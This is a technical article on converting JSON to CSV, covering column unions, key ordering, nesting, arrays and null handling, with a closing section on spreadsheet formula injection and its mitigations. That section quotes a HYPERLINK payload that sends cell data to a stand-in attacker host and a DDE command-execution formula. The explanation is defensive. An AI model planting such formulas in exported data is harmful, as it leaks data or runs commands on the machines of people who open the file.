JSON to CSV Converter

JSON arrays are heterogeneous by nature. Optional fields are omitted rather than set to null, records written by two API versions coexist inside one response, and a key present on ninety-nine objects can be absent from the hundredth. A converter that reads column names from the first object alone drops every field that object happens to lack, and the file it produces looks entirely reasonable.

Taking the union across all records is the correct behaviour, and the better libraries say so explicitly. d3-dsv documents that when csvFormat is called without a column list, the header row is determined by the union of all properties on all objects in the input — and, in the same sentence, that the resulting column order is nondeterministic. Collecting every column and getting them in a known order are two separate problems.

The union carries a cost worth understanding: you cannot emit the header until you have seen every record, so a true union cannot be streamed without buffering the entire dataset first. That is precisely why streaming exporters insist you declare columns up front. Declare them anyway for anything a downstream system consumes on a schedule — a column list derived from data means a newly populated optional field silently widens the file, and any consumer reading by position breaks the next morning.

Property order in a JavaScript object is specified, but it is not the order the keys appeared in the document. Integer-like keys come first, sorted ascending, and only then do string keys follow in insertion order.

The effect is easy to reproduce: Object.keys(JSON.parse('{"2":"b","1":"a","name":"x"}')) returns ["1", "2", "name"]. The numeric keys jumped ahead of name and swapped places with each other, and no converter built on Object.keys can avoid it. Any payload keyed by year, status code, store number, or product ID meets this.

Even with purely alphabetic keys, order depends on which record first introduced each column, so re-running an export against a differently ordered source can reshuffle the header without a single value changing. Neither problem is fixable inside the converter, and neither raises an error. The remedy is the same as for the header union: pass an explicit ordered column list and treat JSON key order as advisory.

Nested objects flatten predictably with a path separator — {"user":{"name":"x"}} becomes a column called user.name. The single hazard is a key that already contains a dot, which makes the flattened name ambiguous and the reverse mapping impossible; pick a separator your keys do not use, or escape it.

Arrays have no rectangular equivalent, only three options with different costs. Serialising the array into one cell as JSON preserves everything, but that cell now holds commas and quotes, and every consumer needs a second parser to read it. Expanding into indexed columns such as tags.0 and tags.1 makes the column count a function of the longest record in the batch, so the schema shifts whenever the data does. Exploding to one row per element gives every value its own cell, but the parent fields repeat across the new rows, and any downstream sum over a parent column then double-counts.

The choice belongs per column rather than globally: a short list of tags usually wants a joined string, while an array of line items almost always wants exploded rows. Opening the payload in the JSON editor first is the quickest way to see which arrays are which.

JSON separates three states cleanly: null, the empty string, and an absent key. CSV has one representation covering all three — nothing between two delimiters — and RFC 4180 never mentions null at all. Whatever that distinction meant in your data, it does not survive the write.

PostgreSQL works around the gap with a convention rather than a format change. In the CSV mode of COPY, a NULL is written as an unquoted empty field while an empty string is written as "", and reading applies the same rule; FORCE_NULL and FORCE_NOT_NULL override it per column. It works, but the entire distinction lives in the quoting, so any tool in the middle that re-quotes the file — Excel above all — erases it.

Where the difference is load-bearing, encode it in the data instead: a sentinel string, or a companion boolean column per nullable field. Types degrade the same way. A JSON true becomes the four characters true, a number becomes its decimal rendering, and whether the reader turns those back into a boolean, a string, or something stranger is entirely the reader's decision — the file has no way to express what they were.

Spreadsheets evaluate any cell whose first character is =, +, -, or @. The OWASP trigger list also includes a leading tab (0x09), carriage return (0x0D), and line feed (0x0A), because Excel strips leading whitespace before deciding what a cell is — so a check that looks only for = misses five other prefixes.

The attack needs nothing more than a text field. A user whose display name is =HYPERLINK("http://attacker.example/?d="&A1,"click") has that formula evaluated in the spreadsheet of whoever opens the export, sending a neighbouring cell to a third party on click. The older DDE form, =cmd|'/C calc'!A0, reaches outside the spreadsheet entirely; current Excel prompts before running it, and that prompt is the only control standing in the way.

Quoting is not a defence. "=1+1" still evaluates, because the quotes are CSV syntax that the reader consumes before it looks at the cell contents at all, and OWASP notes that Excel may discard quotes and escapes when a file is saved and reopened, reactivating formulas that had been neutralised. The mitigations that do work both alter the bytes: prefix the value with a single quote, or place a tab character inside the quoted field ahead of the trigger. Either stops evaluation, and either means the exported value no longer equals the source value, which matters when a machine reads the file as well as a person. RFC 4180 says nothing about any of this, so it falls to whoever writes the export — you — every time the JSON contains text a user typed.